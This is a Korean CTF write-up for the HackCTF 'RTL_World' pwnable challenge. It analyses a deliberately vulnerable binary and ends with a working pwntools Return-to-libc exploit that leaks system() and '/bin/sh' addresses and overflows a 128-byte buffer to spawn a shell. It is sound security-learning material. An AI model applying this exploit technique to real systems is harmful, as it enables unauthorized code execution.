HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 이다.
HackCTF
Do you wanna be a God? If so, Challenge!
ctf.j0n9hyun.xyz
오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로
문제 이름은 RTL_World 이다.
해당 문제는 NX-bit 기법이 적용되었을 때, 스택에서 코드를 실행하는 대신에 공유 라이브러리 함수
주소를 가져와 Overwrite 해서 공격하는 기법에 대한 내용이 들어간다.
만약에 RTL 공격 기법에 대해서 모른다면 다음 사이트를 참조하길 바란다. 매우 자세히 설명되어 있다!
https://lactea.kr/entry/bof-Return-to-Libc-RTL-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B2%95
[bof] - Return to Libc (RTL) 공격 기법
0x01 What is it? RTL 공격은 스택에 NX-bit 보안 기법이 적용 되었을때 사용하는 공격 기법이다. NX란 Never eXecutable stack 을 줄인 말로 "스택에서 코드 실행 불가" 라는 보안 역할을 한다. NX-bit 때문에 스..
lactea.kr
자.. 이제 문제 풀이를 시작해보겠습니다.
문제를 보면 다음과 같다.
RTL_World 문제
문제 이름을 통해서 RTL 기법이 사용될 것이란 걸 유추해볼 수 있다.
실행 파일을 다운 받아서 실행시켜 보자.
문제 실행 및 이해
실행 결과
이진 보스를 죽여달라는 메시지와 선택지가 주어진다.
1번을 누르니
1번 누른 결과
이진 보스의 정보에 대해서 출력된다. 보안기법과 주소에 대한 내용이 있다.
보스의 HP는 140에 Armor에 4더한 값임을 알 수 있다.
아마 문제를 푸는데 있어서 힌트를 주는 것 같다.
2번을 누르니
2번 누른 결과
자본주의 세계라서 돈을 벌어야 한다. 아마도 돈을 일정 이상 모아서
System Armor와 Shell Sword를 사야하는 것 같다.
Farming을 하니 100 골드를 주고,
Item을 파니 350 골드를 주고,
Huntinf을 하니 500 골드를 준다.
(근데 실제로는 101, 351, 501 골드를 준다.. 아마 코드에서 ++gold 이런식으로 의도치 않게 1골드 더 받는 것 같다.)
비쌀 것 같아서 돈을 10000 골드 정도는 모으고 3번과 4번을 눌러서 구매를 시도해봤다.
Armor와 Sword를 구매한 결과
이제 다 샀으니 죽이러 가보자.. 근데 5번을 누르니 입력을 받는다.
5번 누른 모습
음...그냥 이렇게 끝난다. 아무래도 Attack에서 권한을 뺏는 문자열을 입력하는 것처럼 보인다.
누르고 여기 저기 탐방하는게 은근히 재밌어서 문제 파악에 오래 걸렸다.
문제 분석
IDA Pro로 해당 프로그램을 분석해보자.
main 코드
코드가 생각보다 길다 차근 차근 분석해보자.
main line 11~13 :
dlopen을 통해서 동적 라이브러리를 로드하고, dlsym을 통해서 라이브러리에서 system 함수의 위치를 찾아서 v6에 대입한다.
※v6은 System 함수의 주소 값을 가짐
main line 14 :
for문에서 s1는 v6의 주소를 대입 받아 memcmp로 s1과 "/bin/sh"를 8바이트 비교해서 다르면, s1을 1씩 증가시키는 것을 반복한다. 즉, s1이 "/bin/sh"를 가리킬 때까지 반복하고 끝난다.
※s1은 "/bin/sh"의 주소 값을 가짐.
main line 16~21 : 마을 상황에 대해서 출력함 (내용 출력)
main line 22~26 : 무한 반복문이 시행되면서, 메뉴 함수를 실행시켜 메뉴를 출력하고 번호를 입력 받는다.
main line 29~40 : 1번을 입력 받은 경우, 위의 내용을 클리어하고 이진 보스에 대한 정보를 출력한다.
main line 41~43 : 2번을 입력 받은 경우, Get_money함수를 실행시킴
Get_money line 8~11: 자본주의라는 말과 3가지 옵션을 주는 내용을 출력함.
Get_money line 12~13: v3는 0으로 초기화하고, v2는 랜덤인 값을 대입해준다.
Get_money line 14~15: v1에 선택 번호를 입력 받음
Get_money line 17~25:
2번을 입력 받은 경우, v3을 350이 될 때까지 ++v3 하고, 그 값을 gold에 더해주고 골드가 얼마 있는지 출력한다. 즉, 351 골드를 벌게 됨.
Get_money line 26~36:
v1이 2보다 큰 경우에서 3인 경우, v3을 500이 될 때까지 ++v3 하고, 그 값을 gold에 더해주고 골드가 얼마 있는지 출력한다. 즉, 501 골드를 벌게 됨.
Get_money line 37~46:
v1이 2보다 큰 경우에서 4인 경우, 숨겨진 key number를 찾았다고 하고 랜덤 값이 대입된 v2를 gold에 더해주고 골드가 얼마 있는지 출력한다. 즉, 랜덤한 골드를 벌게 됨.
Get_money line 47~57:
v1이 1인 경우, v3을 100이 될 때까지 ++v3 하고, 그 값을 gold에 더해주고 골드가 얼마 있는지 출력한다. 즉, 101 골드를 벌게 됨.
main line 44~54 :
3을 선택한 경우, gold가 1999이하면 골드 없다고 출력하며, 초과인 경우 System 함수 주소 값인 v6(System Armor)을 출력한다.
main line 55~65 :
4를 선택한 경우, gold가 2999이하면 골드 없다고 출력하며, 초과인 경우 "/bin/sh" 주소 값인 s1(Shell Sword)을 출력한다.
main line 66~69 :
5를 선택한 경우, [Attack] > 을 출력하고 buf에 1024 바이트를 입력 받으며 종료한다. 이 때, buf의 크기는 128 바이트로 BOF 발생 가능.
main line 70~73 :
6을 선택한 경우, Your Not Hero. . . Bye. . . 를 출력하고 종료한다.
main line 74~78 : 그 외의 경우 반복문 수행.
전반적인 분석을 마쳤다.
정리해보면, System 함수 주소와 "/bin/sh" 주소를 알기 위해서는
1999 + 2999 = 4998 골드가 필요하고 기본 골드 1000이 있으므로,
3998 골드를 일해서 벌어야 한다.
그렇게 알아낸 주소를 이용해서 buf에 128 바이트를 넘게 입력시켜 BOF를 일으켜서
system 함수로 이동하고, "/bin/sh"를 실행시키면 문제가 풀릴 것 같다.
구조를 보면,
buf
(0x80)
-------------
v6
(0x04)
-------------
handle
(0x04)
-------------
s1
(0x04)
-------------
sfp
(0x04)
-------------
ret
이다.
우리는 buf부터 sfp까지 더미로 채워야 하는데, 사이즈가 128 + 4 + 4 + 4 + 4 =144 바이트이다.
ret 부분에는 System의 주소 값을 넣어주고,
함수 인자로 "/bin/sh"를 넣어주어야 하는데,
이 때, 4바이트를 더미 값으로 채운 다음에 "/bin/sh"를 넣어줘야 한다.
함수는 (ex. ebp + 0x08) 8바이트 떨어진 곳에서 값을 가져오므로
4바이트는 더미 나머지 4바이트는 "/bin/sh"가 되어야 한다.
정리해보면,
더미 144 바이트 + System 주소 + 더미 4바이트 + "/bin/sh" 주소
가 된다.
이를 바탕으로 페이로드를 작성해보면 다음과 같다.
from pwn import*
p = remote("ctf.j0n9hyun.xyz", 3010)
for i in range(0,8):
p.recvuntil(">>> ")
p.sendline("2")
p.recvuntil("(Job)>>> ")
p.sendline("3")
p.recvuntil(">>> ")
p.sendline("3")
p.recvuntil("System Armor : ")
system = int(p.recv(10), 16)
p.recvuntil(">>> ")
p.sendline("4")
p.recvuntil("Shell Sword : ")
shell = int(p.recv(10), 16)
p.recvuntil(">>> ")
p.sendline("5")
payload = "A"*144 + p32(system) + "a"*4 + p32(shell)
p.recvuntil("[Attack] > ")
p.sendline(payload)
p.interactive()
간단하게 살펴보면, 반복문을 통해서 골드를 버는 작업을 수행하는데
제일 많이 벌 수 있는 것이 500골드이며, 필요한 골드가 3998 골드이므로 8번 반복해준다.
골드를 충분히 벌고 나서 3번 항목을 눌러서 System 함수 주소를 얻고, 4번 항목을 눌러서 "/bin/sh" 주소를 얻는다.
이후, 5번 Attack을 눌러서 buf에 144 바이트 더미 + System 함수 주소 + 4 바이트 더미 + "/bin/sh" 주소를 대입해서 권한을 얻는다.
(System 함수 주소와 "/bin/sh" 주소는 32 비트 리틀 엔디안 방식으로 패킹해서 대입된다.)
페이로드를 실행시키면 다음과 같다.
페이로드 실행시킨 결과
이렇게 문제는 해결된다~!!!